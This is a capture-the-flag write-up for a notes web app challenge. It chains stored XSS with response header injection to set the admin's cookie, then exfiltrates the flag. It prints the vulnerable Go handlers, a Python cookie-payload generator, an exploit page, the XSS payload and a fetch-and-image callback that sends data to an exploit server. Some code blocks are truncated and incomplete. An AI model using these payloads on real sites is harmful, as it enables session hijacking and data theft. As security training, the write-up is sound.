Notepad 1 - Snakehole's Secret

Stored XSS and Response Header Injection Leads to CSRF


Description: Janet Snakehole, the rich aristocratic widow with a terrible secret, is being investigated by the FBI's number 1, Burt Tyrannosaurus Macklin. Burt found a website that she visits often. See if you can find anything.

Author: Az3z3l


Stored XSS

At first glance, it is very clear that the site was vulnerable to XSS. For instance, adding the note <h1>Test</h1> results in the heading tags being injected:

When the page is first loaded, the init() function is called, and the displayed note's innerHTML is changed to the /get response.

Notes are added through a POST request to /add.

async function addNote() {
    const response = await fetch("/add", {
        method: 'POST', 
        headers: {
            "Content-Type": "application/x-www-form-urlencoded",
        body: `content=${x}`
    z = await (response.text());

function changeNote(play){
    let ele = document.getElementById('my-stuff');
    ele.innerHTML = play+"<br />";
    document.getElementById("note-dev").value = ""

async function init(){
    const response = await fetch("/get", {
        method: 'GET', 
    z = await (response.text());

The /get endpoint retrieves notes from the Notes map, based on the user's ID cookie.

func get(w http.ResponseWriter, r *http.Request) {
	id := getIDFromCooke(r, w)
	x := Notes[id]
	headerSetter(w, cType)
	if x == "" {
		fmt.Fprintf(w, "404 No Note Found")
	} else {
		fmt.Fprintf(w, x)

The /add endpoint stores the user's notes, but only if the notes' content is less than 75 characters. In order to create a valid stored XSS payload, we must use a relatively short one.

func add(w http.ResponseWriter, r *http.Request) {

	id := getIDFromCooke(r, w)
	if id != adminID {
		noteConte := r.Form.Get("content")
		if len(noteConte) < 75 {
			Notes[id] = noteConte
	fmt.Fprintf(w, "OK")

Note that for all the API endpoints, the following cookies are set to prevent XSS.

// Prevent XSS on api-endpoints ¬‿¬
var cType = map[string]string{
	"Content-Type":            "text/plain",
	"x-content-type-options":  "nosniff",
	"X-Frame-Options":         "DENY",
	"Content-Security-Policy": "default-src 'none';",

Since the notes are fetched based on the user's cookies, we still do not have a way to perform an XSS attack on the admin (we would only be able to do it to ourselves!).

Response Header Injection

There is one other API endpoint, though, that we haven't explored. The /find endpoint takes the condition, startsWith , endsWith and debug parameters. The first three are pretty simple - they help to check if the note starts with or ends with a certain substring.

The debug parameter, on the other hand, is quite interesting. If it is set, the 4 parameters above are deleted, and the remaining parameters are looped through. If the key matches the ^[a-zA-Z0-9{}_;-]*$ regex, and the value is less than 50 characters, then the key-value pair is set as a response header.

func find(w http.ResponseWriter, r *http.Request) {

	id := getIDFromCooke(r, w)

	param := r.URL.Query()
	x := Notes[id]

	var which string
	str, err := param["condition"]
	if !err {
		which = "any"
	} else {
		which = str[0]

	var start bool
	str, err = param["startsWith"]
	if !err {
		start = strings.HasPrefix(x, "snake")
	} else {
		start = strings.HasPrefix(x, str[0])
	var responseee string
	var end bool
	str, err = param["endsWith"]
	if !err {
		end = strings.HasSuffix(x, "hole")
	} else {
		end = strings.HasSuffix(x, str[0])

	if which == "starts" && start {
		responseee = x
	} else if which == "ends" && end {
		responseee = x
	} else if which == "both" && (start && end) {
		responseee = x
	} else if which == "any" && (start || end) {
		responseee = x
	} else {
		_, present := param["debug"]
		if present {
			delete(param, "debug")
			delete(param, "startsWith")
			delete(param, "endsWith")
			delete(param, "condition")

			for k, v := range param {
				for _, d := range v {

					if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 {
						w.Header().Set(k, d)
		responseee = "404 No Note Found"
	headerSetter(w, cType)
	fmt.Fprintf(w, responseee)

Remember how we couldn't get the admin to visit our note previously? Well, now we can! All we have to do is to inject a Set-Cookie header, setting the admin's ID cookie to our own.

But we still need the original admin's ID (otherwise, how do we get the admin's note?). We can get around that quite easily, though - by simply setting the Path of our custom cookie to /get, we can make sure that when the admin visits our main site, our custom id cookie is used (since the longest match "wins"). However, since the admin's original id cookie still exists with the Path set to /, the /find endpoint will still use the original admin ID.

Crafting Our Payload

On hindsight, this was way more complex than necessary. The intended solution simply used eval(, since can be set by the attacker when using I'll share mine anyway, because it was quite interesting (to me at least).

Since we’re in innerHTML, the ideal way is to append a new script element and fetch our external script:

var newScript = document.createElement("script");newScript.src = "";this.appendChild(newScript);

But there’s a 75 character limit in order for the XSS payload to be stored.

I ended up using cookies, since document.cookies will return a string like:

cookieA=valueA; cookieB=valueB; ...

This format is very convenient to create JS code which we can eval(). Let the cookie name be var x, and the cookie value be eval(alert()), and we can run valid JavaScript code using eval(document.cookie):

var x = eval(alert())

Since the header values also have a length limit of 50 characters, we need to set multiple cookies. Essentially, the document.cookies will return the following string (newlines inserted for clarity):

var A = "SOME_STRING";
var B = A + "SOME_STRING";


var a = Z + "SOME_STRING";
var b = eval(a)

Here's the script to convert the payload to the necessary URLs to set the cookies:

import urllib.parse
import string

PAYLOAD = "var newScript = document.createElement('script');newScript.src = '';this.appendChild(newScript);"

charcodes = []
for char in PAYLOAD:

f = open("exploit.html", "w")

chars = string.ascii_uppercase + string.ascii_lowercase
i = 0

while charcodes:
	codes = [str(x) for x in charcodes[:5]]
	charcodes = charcodes[5:]
	if i == 0:
		url = urllib.parse.quote(f"var {chars[i]}=String.fromCharCode({','.join(codes)});")
		url = urllib.parse.quote(f"var {chars[i]}={chars[i-1]}+String.fromCharCode({','.join(codes)});")
	i += 1
	url = "" + url


url = urllib.parse.quote(f"var {chars[i]}=eval({chars[i-1]});")
url = "" + url


With some modification of the output, the final exploit script is:


function wait(time) {
    return new Promise(resolve => {
        setTimeout(() => {
        }, time);

(async () => {"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");"");
	await wait(1000);"");
	var img = new Image();
	img.src = '' + 'Set cookies successfully.';
	await wait(1000);
	window.location.href = "";

Visiting these URLs set the following cookies. Notice that we have set the id cookie with the /get path, and that the original id with the / path is preserved.

After document.cookie.split('; ').sort(), the previously inserted cookies will be in the correct order, starting from var A, and each subsequent variable builds on top of the previous variable.

var a will end up being the full payload:

This is finally eval-ed again (inside the eval) by var b.

The XSS payload is then:

<img/src/onerror="eval(document.cookie.split('; ').sort().join(';'))">

This takes up 70 characters, satisfying the length requirement in order to be stored.

Now, we can store this XSS payload! When the admin visits the site, our payload is fetched:

The only thing left now is to perform a CSRF to the /find endpoint to get the flag, and make a callback to our exploit server with the data.

	.then(function(response) {return response.text();})
	.then(function (text) {
	var img = new Image();
	img.src = '' + encodeURIComponent(text);


This took way too long, because I didn't think of the simple payload!

Regardless, I was excited to finally the flag, after way more pain than necessary.


Last updated